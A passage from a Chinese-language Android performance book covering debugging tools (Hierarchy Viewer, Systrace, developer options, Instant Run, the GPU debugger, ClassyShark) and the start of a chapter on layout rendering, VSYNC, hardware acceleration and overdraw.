  • 右边的点代表执行阶段使用层次查看器进行性能分析

视图内的每个点颜色有不同的含义:

  • 绿色点表示该视图的渲染速度至少比其他视图的一半快。通常,绿色可以被视为高性能视图。

  • 黄色点表示该视图的渲染速度比层次中下半部分的视图快。这是相对的,但黄色可能需要我们查看这个视图。

  • 红色意味着视图是层次中最慢的一半。通常,我们想要查看这些值。

应用层次查看器探查器后,我们如何解释结果?最重要的一点是,探查器总是在相对的条件下进行测量,即针对我们自己的布局。这意味着一个节点可能总是红色,但如果应用程序运行良好,它不一定就是慢的。相反的情况也适用:一个节点可能是绿色,但如果整个应用程序没有响应,性能可能就是灾难性的。

层次查看器应用了一个称为栅格化的过程来获取信息。对于有图形编程背景的开发者来说,如视频游戏开发,栅格化可能听起来很熟悉,它是将图形基元(例如,一个圆)转换为屏幕上的像素的过程。这通常由 GPU 完成,但在这个情况下,由于我们处理的是软件栅格化,所以由 CPU 完成。这也使得层次查看器的输入相对准确。

为了识别层次查看器的问题,需要应用一些规则:

  • 叶子节点或只有少数子节点的视图组中的红点可能指向一个问题。

  • 如果一个视图组有很多子节点,且在测量阶段有红点,请查看各个子节点。

  • 具有红点的根视图不一定意味着有问题。这种情况经常发生,因为这是所有当前视图的父视图。

Systrace

Systrace 是 Google SDK 中包含的一个工具,用于分析应用程序的性能。它从内核级别捕获并显示应用程序的执行时间(捕获的信息如 CPU 调度程序、应用程序线程和磁盘活动)。分析完成后,它会生成一个包含所有编译信息的 HTML 文件。

要使其工作,请点击 DDMS 视图中的Systrace按钮 (Systrace)。会出现如下屏幕:

Systrace

在这个屏幕上,我们可以为 Systrace 输入一些参数:

  • 目标文件将存储为 HTML 文件的路径。

  • 跟踪持续时间:默认值为 5 秒。30 秒是一个能获取足够信息的好值。

  • 跟踪缓冲区大小:跟踪时缓冲区应该有多大。

  • 我们可以选择将启用应用程序跟踪的进程,因此通常我们在这里选择自己的应用程序。

  • 我们需要从列表中选择一些我们想要与之交互的标签。

当一切选择完毕后,按下确定按钮,与应用程序进行一段时间的交互。当 systracing 完成后,将在您提供的位置存储一个 HTML 文件。这个文件看起来如下:

Systrace

安卓设备调试选项

当我们调试 Android 设备时,需要激活开发者模式。默认情况下此模式是隐藏的,如果需要将设备连接到 ADB 或使用其某些选项,我们需要手动激活它。Android 的创造者们很好地隐藏了这个选项。

让我们看看如何激活这个选项以更好地了解 Android 调试,以及我们如何玩转不同的调试配置。

如前所述,设备中的开发者选项默认是隐藏的。这样做的原因很可能是为了使其仅供高级用户使用,而不是普通用户。普通用户无需访问此部分的功能;这样做可能会激活可能损坏设备的选项。

在标准 ROM 中,我们需要进入关于部分,向下滚动直到看到版本号条目,然后快速连续点击五次。会显示一个小对话框,告诉我们现在已成为开发者:

Android 设备调试选项

由于定制 ROM 的个性化,其他一些设备上的设置可能会有所不同。以下是一些知名制造商以及如何激活调试选项的说明:

  • 三星设置 | 关于设备 | 版本号

  • LG设置 | 关于手机 | 软件信息 | 版本号

  • HTC设置 | 关于 | 软件信息 | 更多 | 版本号

激活开发者选项后,我们将会看到(不同制造商可能会有所不同)在系统部分名为开发者选项的选项。如果我们点击它,将显示选项。我们需要激活开发者选项的开关,这样我们就可以访问整个设置:

Android 设备调试选项

同样,每个制造商的选项可能会有所不同。然而,以下是 Android 中的默认选项的全面列表:

  • 获取错误报告:此选项将收集关于设备当前状态的信息,并将其作为电子邮件发送。这可能需要一些时间,因为可能会收集大量信息。

  • 桌面备份密码:这为完整的桌面备份设置一个密码,默认情况下这些备份是没有密码保护的。

  • 保持唤醒:设备在充电时将一直保持唤醒状态,这对于调试来说非常方便。

  • 总是保持唤醒:与上一个类似,但在这种情况下,无论设备是否在充电,设备都将保持唤醒状态。如果开发者忘记激活它,这可能会很危险,因为即使在开发后,设备也会保持唤醒状态。

  • HDCP 检查HDCP代表高带宽数字内容保护。我们可以设置此选项为从不检查数字保护,总是检查数字保护,以及仅在 DRM 内容情况下检查。

  • 启用蓝牙 HCI 嗅探日志:激活此选项后,所有 HCI 蓝牙包将被保存在一个文件中。

  • 进程统计:此部分包含关于设备进程的极客统计数据。它显示了过去两小时一直在后台运行的应用程序,以及它们的一些特定信息(例如平均/最大 RAM 使用量、运行时间和运行中的服务):Android 设备调试选项

  • USB 调试:当连接 USB 时,此选项允许设备使用 ADB 调试应用程序。这应该是开发者首先激活的选项。

  • 错误报告快捷方式:此选项在电源菜单中显示一个按钮,可以按此按钮来获取错误报告。

  • 允许模拟位置:激活此选项后,可以模拟位置信息。

  • 启用视图属性检查:激活此选项后,我们能够在 Android 系统管理器中查看属性检查。

  • 选择调试应用:通过此选项,我们能够选择要调试的应用程序,无需输入冗长的adb命令。

  • 等待调试器:此选项将正在调试的应用(在上一个选项中选择)附加到调试器。

  • 通过 USB 验证应用:此选项默认是禁用的,除非 USB 调试选项处于激活状态。手动安装的任何内容都将被验证,以避免安装恶意软件。

  • 无线显示认证:使用此选项帮助认证 Alliance Wi-Fi Display 规范。

  • 启用 Wi-Fi 详细日志记录:此选项为所有 Wi-Fi 操作启用更全面的日志记录。

  • 积极的 Wi-Fi 到蜂窝网络切换:此选项人为地降低 Wi-Fi 的接收信号强度指示RSSI),以鼓励 Wi-Fi 状态机决定切换连接。

  • 始终允许 Wi-Fi 漫游扫描:默认情况下,已经连接到 Wi-Fi 网络的 Android 设备在遇到更强的 SSID 时不会漫游。激活此选项后,设备将永久性地寻找新的 Wi-Fi。

  • 记录器缓冲区大小:此选项改变每个记录器缓冲区的大小(默认为 256 K)。

  • 显示触摸:如果激活此选项,每次与屏幕互动时都会有视觉反馈。

  • 指针位置:这与上一个类似:指针将在屏幕上用两条垂直线标出。在屏幕顶部,将显示数字信息。

  • 显示表面更新:当屏幕更新时,整个表面会闪烁(不建议癫痫患者使用)。

  • 显示布局边界:在调试布局时,这是最有用的选项之一。激活后,你应该能看到所有视图边界的活泼蓝色和紫色显示:Android 设备调试选项

  • 强制 RTL 布局方向:这将强制布局方向从右至左,而不是默认的左至右。一些用户可能喜欢从右至左的布局,但对于某些语言(如阿拉伯语或希伯来语),布局会自动设置为这种方式。我们可以使用此模式来测试应用程序在此配置下的行为是否正常。

  • 窗口动画缩放:您可以设置每个窗口的动画速度(介于 0.5 倍和 10 倍之间)或取消激活。

  • 过渡动画缩放:您可以设置每个过渡的动画速度(介于 0.5 倍和 10 倍之间)或取消激活。

  • 动画师动画缩放:您可以设置每个动画师的动画速度(介于 0.5 倍和 10 倍之间)或取消激活。

  • 模拟辅助显示:此设置允许开发人员模拟辅助显示的不同屏幕尺寸。

  • 强制 GPU 渲染:使用硬件 2D 渲染。这可以使你的应用程序看起来很棒,也可能降低性能。仅用于调试目的。

  • 显示 GPU 视图更新:每个使用 GPU 硬件绘制的元素都将被一个红色方块覆盖。

  • 显示硬件层更新:此选项指示硬件层更新的任何时间。

  • 调试 GPU 过度绘制:使用颜色代码可视化元素的过度绘制,具体取决于它们被绘制的频率:这可以用来研究应用程序可能进行不必要的渲染工作的地方。屏幕将开始显示大量颜色,但不要惊慌!我们可以轻松地读懂它们的含义:

    • 真实色彩:真实色彩意味着在执行过程中没有发生过度绘制。

    • 蓝色:发生了单次过度绘制。

    • 绿色:在应用程序的上下文中发生了两次过度绘制。

    • 粉色:过度绘制发生了三次。

    • 红色:发生了四次或更多次的过度绘制。

    Android 设备调试选项

  • 强制 4x MSAA:启用 4x MSAA(即多采样抗锯齿)。这将使你的应用程序运行更快,同时提高图像质量。

  • 禁用硬件覆盖:使用硬件覆盖,每个应用程序都获得自己的视频内存部分,无需检查碰撞和剪辑。此选项将禁用硬件覆盖。

  • 模拟色彩空间:使用此选项,我们可以强制 Android 仅模拟特定颜色组合的屏幕(例如,单色、红绿色、红黄色等)。

  • 使用 NuPlayer(实验性):NuPlayer 是一个支持在线视频内容的视频播放器。它有很多错误,因此默认情况下是禁用的。启用此选项后,NuPlayer 将被激活。

  • 禁用 USB 音频路由:此选项禁用了 USB 音频路由自动重定向到外部外围设备。

  • 启用严格模式:StrictMode 是一种开发者模式,它可以检测开发者可能遇到的问题,并通知他们以便修复。StrictMode 通常会捕获如在错误线程中进行网络访问等操作。

  • 显示 CPU 使用情况:激活此选项后,会在屏幕顶部叠加有关 CPU 使用情况的信息。

  • 分析 GPU 渲染:当激活这个工具时,它会提供 UI 帧的速度和节奏的视觉表示。这仅从 Android 4.1 开始可用。在下面的屏幕中,我们看到了一个 分析 GPU 渲染 工具的例子,这里有一些关于如何理解它的说明:Android 设备调试选项

    • 水平轴表示经过的时间,垂直轴表示每帧的时间(以毫秒为单位)。

    • 每个垂直条形图对应一个渲染的帧。条形越高,渲染所需的时间就越长。

    • 绿色线条代表 16 毫秒。每次帧超过绿色线条,你的应用程序就会丢失一帧,这可能导致用户感觉到图像出现卡顿。

    • 每种颜色的线条都有其含义:条形图的蓝色部分表示用于创建和更新视图显示列表的时间。如果这部分条形很高,可能存在大量的自定义视图绘制或者在 onDraw 方法中有很多工作。

    • 紫色部分是花费在将资源传输到渲染线程上的时间(仅限 Android 4.1)。条形图的红色部分表示 Android 的 2D 渲染器发送命令到 OpenGL 以绘制和重绘显示列表所花费的时间。

    • 橙色部分表示 CPU 等待 GPU 完成的时间。如果这个条形太长,说明 GPU 在执行操作上花费了太多时间。

  • 启用 OpenGL 跟踪:允许在您选择的日志文件中跟踪 OpenGL。

  • 不保留活动:这个设置会在你离开主视图时立即关闭每个应用程序。不用说,必须小心使用这个设置,因为它会改变每个应用程序的状态。

  • 后台进程限制:使用此选项,我们可以限制同时运行的后台进程的数量。

  • 显示所有 ANR:当应用程序因 应用程序无响应 错误而受阻时,即使这在后台发生,也会显示每个 ANR。

Android Instant Run

在撰写本文时,谷歌发布了 Android Studio 2.2 预览版。这(正如其名所示)是 Android Studio 的第二个主要版本,它包含了许多修复、性能改进以及一个名为 Android Instant Run 的强大工具。这个工具允许我们在代码中进行更改,并立即在我们的设备或模拟器中显示这些更改。当我们进行调试时,这是一个无价的功能,因为我们不需要重新编译应用程序,再次启动它,并重新连接到 adb

要激活此选项,我们需要进入首选项,然后查找构建、执行、部署 | 立即运行。勾选启用立即运行以在部署时热交换代码/资源更改(默认启用);如果你运行的是正确版本的 Gradle 插件,你将能够激活它:

Android 立即运行

要运行应用程序,选择运行以使 Android Studio 正常运行。现在有趣的部分来了:在对源代码进行编辑或修改之后,再次点击运行将只将更改部署到设备或模拟器。

目前,立即运行不支持以下几项操作:

  • 添加、移除或更改注解

  • 添加、移除或更改实例字段

  • 添加、移除或更改静态字段

  • 添加或移除静态方法签名

  • 更改静态方法签名

  • 添加或移除实例方法

  • 更改实例方法签名

  • 更改当前类继承的父类

  • 更改实现的接口列表

  • 更改类的静态初始化器

  • 添加、移除或更改字符串(允许,但需要重新启动宿主活动)

GPU 分析工具

GPU 分析工具也是 Android Studio 2.0 中包含的一个实验性工具。这个工具旨在帮助我们理解导致渲染结果中特定问题的原因,并检查 GPU 的状态。

GPU 调试工具(其中包括 GPU 分析工具)默认情况下未安装。为此,我们需要从 SDK 管理器的 SDK 工具部分进行安装。

要在我们的应用程序中使用此分析工具,我们需要在应用程序中加载跟踪库。我们可以在 Java 代码或 C++ 代码中执行此操作(考虑到许多用于图形的代码因性能更佳而运行在 C++ 中,这是有意义的)。无论你使用哪种方法,都需要将库复制到项目中以便加载。库位于 <sdkDir>/extras/android/gapid/android/<abi>/libgapii.so

我们还需要将一些其他相关文件夹复制到 jniLibs 目录中。可以在 <projectDir>/app/src/main/jniLibs 中找到它。如果它尚不存在,你应该创建它(在后续章节中会有介绍 NDK 以及如何处理本地代码的内容)。与 SDK 管理器文件夹一样,jniLibs 应该包含你计划支持的每个 ABI 的一个文件夹。如果你不知道你计划支持哪些 ABI,可以复制所有文件夹。最终的项目目录结构应该如下所示:<projectDir>/app/src/main/jniLibs/<abi>/libgappii.so

为了在本地代码中加载库,我们需要创建一个类似于以下代码段的代码:

#include <android/log.h>
#include <dlfcn.h>

#define PACKAGE_NAME "" // Fill this in with the actual package // name
#define GAPII_SO_PATH "/data/data/" PACKAGE_NAME "/lib/libgapii.so"

struct GapiiLoader {
  GapiiLoader() {
    if (!dlopen(GAPII_SO_PATH, RTLD_LOCAL | RTLD_NOW)) {
      __android_log_print(ANDROID_LOG_ERROR, "GAPII", "Failed loading " GAPII_SO_PATH);
    }
  }
};

GapiiLoader __attribute__((used)) gGapiiLoader;

为了将其加载到主类中,必须使用以下代码段:

static {
  System.loadLibrary("gapii");
}

提示

下载示例代码

本书前言中提到了下载代码包的详细步骤。本书的代码包也托管在 GitHub 上,地址为github.com/PacktPublishing/Android-High-Performance-Programming。我们还有其他丰富的书籍和视频代码包,可在github.com/PacktPublishing/查看。请查看!

运行跟踪

当我们在应用程序中添加了跟踪库时,它将在启动时阻塞,直到能够连接到 Android Studio 的跟踪接收器。这意味着当你完成分析器的工作后,需要移除跟踪库,因为它会导致无用的渲染。

要开始跟踪,只需运行并部署你的应用程序。首先会提示一个空白屏幕,等待跟踪接收器连接。要启用它,请转到 DDMS 的 CPU/GPU 标签页,并点击 GPU 标签页左侧的红色跟踪按钮(Running a trace)。

开始跟踪后,应用程序将解锁,我们可以与之交互。完成跟踪后,我们需要再次点击跟踪按钮以停止跟踪过程。文件写入后,它将被打开。

Running a trace

ClassyShark

ClassyShark 是由谷歌的开发者倡导者 Boris Farber 开发的一款独立的 Android 诊断工具。ClassyShark 可以作为 Android 可执行文件浏览器,是浏览 Android 类及其内部结构(类接口和成员、依赖关系、dex 结构和计数等)的有价值工具。ClassyShark 已根据 Apache 2.0 许可发布,可以从github.com/google/android-classyshark免费下载。

在分析 Android APK 内部内容时,ClassyShark 是一个有用的工具,它可以早期诊断由于多 dex 或 dexing 问题、添加的依赖关系和子库、循环依赖以及本地代码问题可能发生的问题。

开始使用

要开始使用 ClassyShark,最快的方法是从 GitHub 网站下载最新的.jar文件(在撰写本书时,可以从以下 URL 下载 6.6 版本:github.com/google/android-classyshark/releases)。下载最新版本,然后从控制台使用以下命令运行:

java –jar route/to/ClassyShark.jar

这将启动应用程序。你会看到一个如下面的屏幕:

Getting started

现在是打开一个示例 APK 来查看其组成并开始使用 ClassyShark 的时候了。点击入门图标,将显示一个选择 APK 的屏幕。从你的项目中选择一个 APK(如果你使用的是 Android Studio,它们通常在build/output/apk文件夹中)。为此,任何 APK 文件都是有效的。

注意

如果你想要自动化 ClassyShark,或者你更习惯于命令行,也可以通过运行以下命令直接打开 APK:

java –jar ClassyShark.jar –open nameOfApk.jar

打开文件后,你将能够看到类似于以下截图的内容:

入门

  • 在左侧,我们可以看到一个包含 APK 文件文件夹和资源的树状结构(包括classes.dex内的所有文件)。

  • 在右侧,我们可以看到 APK 源代码组成的摘要:

    • 类的数量

    • 字符串的数量

    • APK 内声明了多少个字段

    • APK 中的方法数量

注意

限制数量在应用程序开发时尤其是一个重要的上限。特别是,我们可以引用 APK 上的大量方法,但我们只能调用前 65,536 个。再也没有空间存放调用指令了。这个问题曾一度引发了争议和讨论,关于如何解决它,大多数解决方案都会影响应用程序的性能。

如果我们浏览classes.dex文件,将看到属于 APK 的所有源代码(请参考被 ProGuard 混淆的类),包括像 Android Support、第三方库等库的源代码。为了使它更有趣,尝试选择属于您自己应用程序的一个类,然后点击它。你应该能够显示一个类似于以下对话框:

入门

请注意,这里展示了所有文件的字段、方法和构造函数。对于所有图形和统计信息的爱好者,点击方法计数标签会显示一个交互式饼图。点击饼图上的任何部分,将展示一个子部分。我们还可以展开每个组的树状结构。这样,我们可以轻松地追踪 ClassyShark 中的许多问题,例如缺少库,引用来自其他子库的方法等。

入门

我们之前提到了 Android 的 65 K 限制。这个问题的常见解决方案之一是使用 multidexing:这意味着包含几个.dex文件,每个文件包含不超过 65 K 的方法。虽然这解决了限制问题,但它可能导致一些性能问题。

使用 ClassyShark,我们可以准确地确定一个方法被包含在哪个.dex文件中。当包含多个.dex文件时,它们都将被显示出来,如下面的截图(来自 I/O 调度应用程序)所示:

开始

总结

调试 Android 应用程序是一门科学,开发者需要掌握。大多数调试工具都有一个学习曲线,以便能够有效地使用它们,并了解在特定情况下需要使用哪个工具。Android 提供了一套工具,需要一些时间来熟悉,由于 Android 作为一个移动平台的特殊性,一些工具需要具备特定的调试知识,如线程和内存管理。

阅读本章节后,用户将了解到在开发 Android 应用程序时可能遇到的全部问题(如 ANRs、内存泄漏、错误的线程处理等),以及必须使用哪些工具来进行分析并解决问题。使用高级技术,如性能分析,将帮助我们找到程序中的错误、内存泄漏和错误的线程处理;这些仅通过使用应用程序是无法轻易发现的。

第三章:构建布局

应用的图形设计和导航定义了它的外观和感觉,这可能是成功的关键,但在处理目标用户的 Android 屏幕尺寸和 SDK 级别碎片化时,构建稳定、快速加载和高效的 UI 非常重要。无论外观如何,一个缓慢、无响应或无法使用的图形 UI 可能会导致差评。这就是为什么在每一个应用的开发过程中,你都必须牢记创建高效布局和视图的重要性。

在本章中,我们将详细介绍 UI 的优化细节,以及了解如何提高屏幕性能和效率的有用工具,以满足应用用户的期望。

演练

理解设备屏幕背后的关键概念和代码对提高开发 Android 应用时的稳定性和性能非常重要。让我们从了解设备如何刷新屏幕内容以及人眼如何感知它们开始。我们将探讨开发者可能面临的限制和常见问题,了解谷歌团队在 Android 发展过程中引入的解决方案,以及开发者可以使用哪些解决方案来最大化他们的开发成果。

渲染性能

让我们先了解一下人脑在观看我们的应用时的工作原理,以便更好地理解如何改善用户体验我们应用的性能。人脑接收来自眼睛的模拟连续图像以进行处理。但数字世界是由离散的帧数来模拟真实世界的。这一巧妙系统背后的基本机制基于一个主要的物理定律:单位时间内处理的帧数越多,人脑对运动的感知效率越高。人脑感知运动的最小帧数每秒在 10 到 12 帧之间。

设备要创建最流畅的应用,每秒最合适的帧数是多少?为了回答这个问题,我们来看看不同行业是如何处理这个问题的:

  • 电视和戏剧电影:在这个领域,电视广播和电影使用了三种标准的帧率。它们分别是 24 FPS(美国 NTSC 和电影院使用)、25 FPS(欧洲 PAL/SECAM 使用)和 30 FPS(家用电影和摄像机使用)。使用这些帧率时,可能会出现运动模糊:即当大脑处理后续图像过快时,视觉清晰度会降低。

  • 慢动作与新电影制作人:这类用途最常使用的帧率是 48 FPS——这是电影帧率的两倍。新电影制作人采用这种方法来提高动作电影的流畅性。这种帧率也用于放慢场景,因为以 24 FPS 播放的 48 FPS 录制的场景具有与电影相同的感知水平,但速度减半。

那么应用程序的帧率又如何呢?我们的目标是让应用程序在其整个生命周期内保持 60 FPS。这意味着屏幕应该每秒刷新 60 次,或者每 16.6667 毫秒刷新一次。

有很多因素可能导致这个 16 毫秒的截止时间不被遵守;例如,当视图层次结构被重绘太多次,占用了过多的 CPU 周期时,这种情况就可能发生。如果发生这种情况,帧就会被丢弃,UI 就不会刷新,用户将看到同样的画面,直到下一个帧被绘制。这正是你需要避免的,以提供流畅的用户体验给你的用户。

有一个技巧可以加快 UI 绘制并达到 60 FPS:当你构建布局并通过Activity.setContentView()方法将其添加到活动中时,为了创建所需的 UI,会有许多其他视图被添加到层次结构中。在图 1中,有一个完整的视图层次结构,但我们添加到活动 XML 布局文件中的视图只属于下面两层:

渲染性能

图 1:完整层次结构视图示例

目前我们关注的是层次结构顶层的视图;这个视图被称为DecorView,它包含了由主题定义的活动背景。然而,这个默认背景通常会被你的布局背景覆盖。这意味着它会影响 GPU 的工作量,降低渲染速度,从而降低帧率。因此,诀窍就是避免绘制这个背景,从而提高性能。

移除这个drawable背景的方法是在活动的主题中添加属性,或者使用以下主题(即使对于兼容主题,该属性也是可用的):

<resources>
    <style name="Theme.NoBackground" parent="android:Theme">
      <item name="android:windowBackground">@null</item>
    </style>
</resources>

每当你处理全屏活动,用不透明的子视图覆盖整个 DecorView 屏幕时,这都很有帮助。不过,将活动布局背景移动到窗口 DecorView 是一个好习惯。这样做的主要原因是 DecorView 的背景是在任何其他布局之前绘制的:这意味着无论其他 UI 组件加载操作需要多长时间,用户都会立即看到背景,而不会错误地认为应用程序没有在加载。为此,只需将背景drawable作为先前主题 XML 文件中的windowBackground属性,并将其从活动根布局中移除:

<resources>
    <style name="Theme.NoBackground" parent="android:Theme">
      <item name="android:windowBackground"> 
        @drawable/background</item>
    </style>
</resources>

总的来说,这第二个变化并不是一个适当的改进,而只是一个让用户感觉应用程序更流畅的技巧;背景绘图与 GPU 消耗相对应,无论它是 DecorView 还是活动布局的根。

屏幕撕裂与 VSYNC

当我们谈论刷新时,需要考虑两个主要方面:

  • 帧率:这是指设备 GPU 能够在屏幕上绘制一整帧的次数,以每秒帧数(frames per second)表示。我们的目标是保持 60 FPS,这是 Android 设备的标准,我们将会了解为什么。

  • 刷新率:这指的是屏幕每秒更新的次数,以赫兹为单位。大多数 Android 设备屏幕的刷新率为 60 Hz。

虽然第二个是固定且不可更改的,但如前所述,第一个取决于许多因素,但首先取决于开发者的技能。

这些值可能不同步。因此,显示器即将更新,但决定要绘制的内容是由两个不同的后续帧在单个屏幕绘制中决定的,直到下一次屏幕绘制,这会导致屏幕上出现明显的割裂,如图图 2所示。这个事件也被称为屏幕撕裂,它会影响每个带有 GPU 系统的显示器。图像上的不连续线条称为撕裂点,它们是这种屏幕撕裂的结果:

屏幕撕裂与 VSYNC

图 2:屏幕撕裂的一个示例

这种现象的主要成因可以追溯到用于绘制帧的单一流数据:每个新帧都以这样的方式覆盖前一个帧,以至于只有一个缓冲区可以读取以在屏幕上绘制。这样,当屏幕即将刷新时,它会从缓冲区读取要绘制的帧的状态,但它可能还在完成中并未完全完成。因此,如图图 2所示的撕裂屏幕。

解决这个问题的最常用方案是对帧进行双缓冲处理。这个解决方案有以下实现:

  • 所有绘图操作都保存在后台缓冲区中

  • 当这些操作完成后,整个后台缓冲区(back buffer)会被复制到另一个内存位置,称为前台缓冲区(front buffer)。

复制操作与屏幕速率同步。屏幕只从前台缓冲区读取以避免屏幕撕裂,所有后台绘图操作都可以在不影响屏幕操作的情况下执行。但是,在从后台缓冲区到前台缓冲区的复制操作过程中,是什么防止屏幕更新的呢?这称为VSYNC。这代表垂直同步,最早在 Android 4.1 Jelly Bean(API 级别 16)中引入。

VSYNC 并不是这个问题的解决方案:如果帧率至少等于刷新率,它工作得很好。看看图 3;帧率为 80 FPS,而刷新率为 60 Hz。总是有新帧可供绘制,因此屏幕上不会有延迟:

屏幕撕裂与 VSYNC

图 3:帧率高于刷新率的 VSYNC 示例

但是,如果帧率低于刷新率会发生什么呢?让我们看一下以下示例,逐步描述 40 FPS GPU 和 60 Hz 刷新率屏幕上发生的情况:即帧率是刷新率的 2/3,导致每 1.5 个屏幕刷新更新一次帧:

  1. 在 0 时刻,屏幕第一次刷新,第一帧落入前景缓冲区,GPU 开始在后台缓冲区准备第二帧。

  2. 在屏幕第二次刷新时,第一帧被绘制到屏幕上,而第二帧无法复制到前景缓冲区,因为 GPU 仍在完成它的绘图操作:它仍在这一操作的 2/3 处。

  3. 在第三次刷新时,第二帧已被复制到前景缓冲区,因此它必须等待下一次刷新才能显示在屏幕上。GPU 开始准备第三帧。

  4. 在第四步中,由于第二个帧在前景缓冲区,而 GPU 仍在准备第三个帧,因此会在屏幕上绘制第二个帧。

  5. 第五次刷新与第二次相似:由于需要新的刷新,第三帧无法显示,因此第二个帧连续第二次显示。

这里所描述的内容在图 4中展示:

屏幕撕裂与 VSYNC

图 4:帧率低于刷新率的 VSYNC 示例

毕竟,在四个屏幕刷新中只绘制了两帧。但是,每当帧率低于刷新率时,这种情况就会发生:即使帧率是 59 FPS,实际每秒显示在屏幕上的帧数也只有 30,因为 GPU 需要等待新的刷新开始,然后才能在后台缓冲区开始新的绘图操作。这导致了滞后和抖动,并抵消了任何图形设计上的努力。这种行为对开发者来说是透明的,并且没有 API 可以控制或更改它,因此保持应用程序中的高帧率以及遵循性能技巧以达到 60 FPS 目标至关重要。

硬件加速

安卓平台的演变历史在图形渲染方面也有逐步的改进。这一领域最大的改进是在 Android 3.0 Honeycomb(API 级别 11)中引入了硬件加速。设备屏幕变得越来越大,平均设备像素密度在增长,因此 CPU 和软件已不再足以满足 UI 和性能需求的增长。随着平台行为的这一变化,由Canvas对象进行的视图及其所有绘图操作都开始使用 GPU 而不是 CPU。

硬件加速最初是可选的,应在清单文件中声明以启用,但从下一个主要版本(Android 4.0 Ice Cream Sandwich,API 级别 14)开始,默认启用。它在平台上的引入带来了一种新的绘图模型。基于软件的绘图模型基于以下两个步骤:

  • 失效:当由于需要更新视图层次结构或仅更改视图属性而调用View.invalidate()方法时,失效会通过整个层次结构传播。这一步也可以由非主线程使用View.postInvalidate()方法调用,失效在下一个循环周期发生。

  • 重绘:每个视图都会在 CPU 大量消耗的情况下重新绘制。

在新的硬件加速绘图模型中,由于视图被存储,重绘不会立即执行。因此,步骤变为以下:

  • 失效:与基于软件的绘图模型一样,视图需要更新,因此View.invalidate()方法会传播到整个层次结构中。

  • 存储:在这种情况下,仅重绘由失效影响的视图,并将其存储以供将来重用,从而减少运行时计算。

  • 重绘:每个视图都使用存储的绘图进行更新,因此未受失效影响的视图使用其最后一次存储的绘图进行更新。

每个视图都可以被渲染并保存到离屏位图中以供将来使用。可以通过使用Canvas.saveLayer()方法来实现,然后使用Canvas.restore()将保存的位图绘制回画布。应谨慎使用,因为它会绘制一个不需要的位图,根据提供的边界尺寸增加计算绘图成本。

从 Android 3.0 Honeycomb(API 级别 11)开始,可以使用View.setLayerType()方法在为每个视图创建离屏位图时选择要使用的层类型。此方法期望以下内容作为第一个参数:

  • View.LAYER_TYPE_NONE:不应用任何层,因此视图不能被保存到离屏位图中。这是默认行为。

  • View.LAYER_TYPE_SOFTWARE:即使启用了硬件加速,这也会强制基于软件的绘图模型渲染所需的视图。在以下情况下可以使用它:

    • 如果需要对视图应用颜色滤镜、混合模式或透明度,并且应用不使用硬件加速

    • 启用了硬件加速,但它无法应用渲染绘图原语

  • View.LAYER_TYPE_HARDWARE:如果为视图层次结构启用了硬件加速,则硬件特定的管道会渲染层;否则,其行为将与View.LAYER_TYPE_SOFTWARE相同。

为了性能考虑,正确的层类型是硬件层:除非调用了视图的View.invalidate()方法,否则视图无需重绘;否则,将使用层位图,且无需额外成本。

我们在本节中讨论的内容对于在处理动画时保持 60 FPS 的目标非常有帮助;硬件加速层可以使用纹理来避免每次更改视图的一个属性时视图被无效并重绘。这是可能的,因为改变的不是视图的属性,而只是层的属性。以下是可以更改而不涉及整个层次结构无效的属性:

  • alpha

  • x

  • y

  • translationX

  • translationY

  • scaleX

  • scaleY

  • rotation

  • rotationX

  • rotationY

  • pivotX

  • pivotY

这些属性与谷歌在 Android 3.0 Honeycomb(API 级别 11)中发布的属性动画相同,包括对硬件加速的支持。

提高动画性能、减少不必要计算的一个好方法是,在动画开始前启用硬件层,并在动画结束后立即禁用它以释放使用的视频内存:

view.setLayerType(View.LAYER_TYPE_HARDWARE, null);
ObjectAnimator animator = ObjectAnimator.ofFloat(view, "rotationY", 
180);
animator.addListener(new AnimatorListenerAdapter() {
    @Override
    public void onAnimationEnd(Animator animation) {
        view.setLayerType(View.LAYER_TYPE_NONE, null);
    }
});
animator.start();

提示

每当你在动画化视图、改变其透明度或只是设置不同的透明度时,请考虑使用View.LAYER_TYPE_HARDWARE。这一点非常重要,谷歌从 Android 6.0 Marshmallow(API 级别 23)开始,自动应用硬件层,因此如果你的应用程序的目标 SDK 是 23 或更高,你就不需要手动操作。

过度绘制

满足 UI 要求的布局构建通常是一个容易误导的任务:完成布局后,仅仅检查我们所做的是否与图形设计师的想法一致是不够的。我们的目标是验证用户界面不会影响我们应用程序的性能。通常我们会忽略在布局内部如何构建视图,但有一个非常重要的点需要记住:系统不知道哪些视图对用户可见,哪些不可见。这意味着无论如何都会绘制每个视图,无论它是否被覆盖、隐藏或不可见。

注意

请记住,如果视图不可见、隐藏或被另一个视图或布局覆盖,视图的生命周期并没有结束:从计算和内存的角度来看,它的计算工作仍然会影响最终布局的性能,即使它没有显示。因此,一个良好的实践是在 UI 设计阶段限制使用的视图数量,以防止性能显著下降。

从系统角度来看,屏幕上的每一个像素都需要在每一帧更新时被更新多次,更新的次数等于重叠视图的数量。这种现象称为过度绘制。开发者的目标是尽可能限制过度绘制。

我们如何减少屏幕上绘制的视图数量?这个问题的答案取决于我们应用程序用户界面的设计方式。但为了实现这一目标,有一些简单的规则可以遵循:

  • 窗口背景在每次更新时都会增加一个绘制层。移除背景可以减少一个过度绘制的层次。这可以通过本章前面讨论的 DecorView 来完成,直接在 XML 样式文件中删除我们活动使用的主题中的它。否则,也可以在运行时通过在活动代码中添加以下内容来完成:

    @Override
    public void onWindowFocusChanged(boolean hasFocus) {
        if (hasFocus)
            getWindow().setBackgroundDrawable(null);
    }
    

    这可以应用于层次结构中的每个视图;这一想法是为了消除不必要的背景,以限制系统每次必须处理和绘制的层数。

  • 展平视图层次结构是减少过度绘制风险的好方法;使用下面几页将要介绍的层次查看器设备上的 GPU 过度绘制是达到此目标的关键步骤。在这种展平操作中,由于 RelativeLayout 管理,您可能会无意中遇到过度绘制问题:视图可能会重叠,使得这项任务效率低下。

  • Android 以不同的方式管理位图和 9-patches:9-patches 的一种特殊优化让系统避免绘制其透明像素,因此它们不会像每个位图像素那样继续过度绘制。因此,使用 9-patches 作为背景可以帮助限制过度绘制的面积。

多窗口模式

在新版本的 Android N 中,新增了一项功能,即在本书撰写时处于预览状态的多窗口模式。这是关于让用户在屏幕上同时并排显示两个活动。在分析其性能影响之前,我们先快速了解一下这个功能。

概览

这种分屏模式在竖屏和横屏模式下都可用。您可以在图 5中看到竖屏模式的样子,在图 6中看到横屏模式的样子:

概览

图 5:Android N 竖屏分屏模式

概览

图 6:Android N 横屏分屏模式

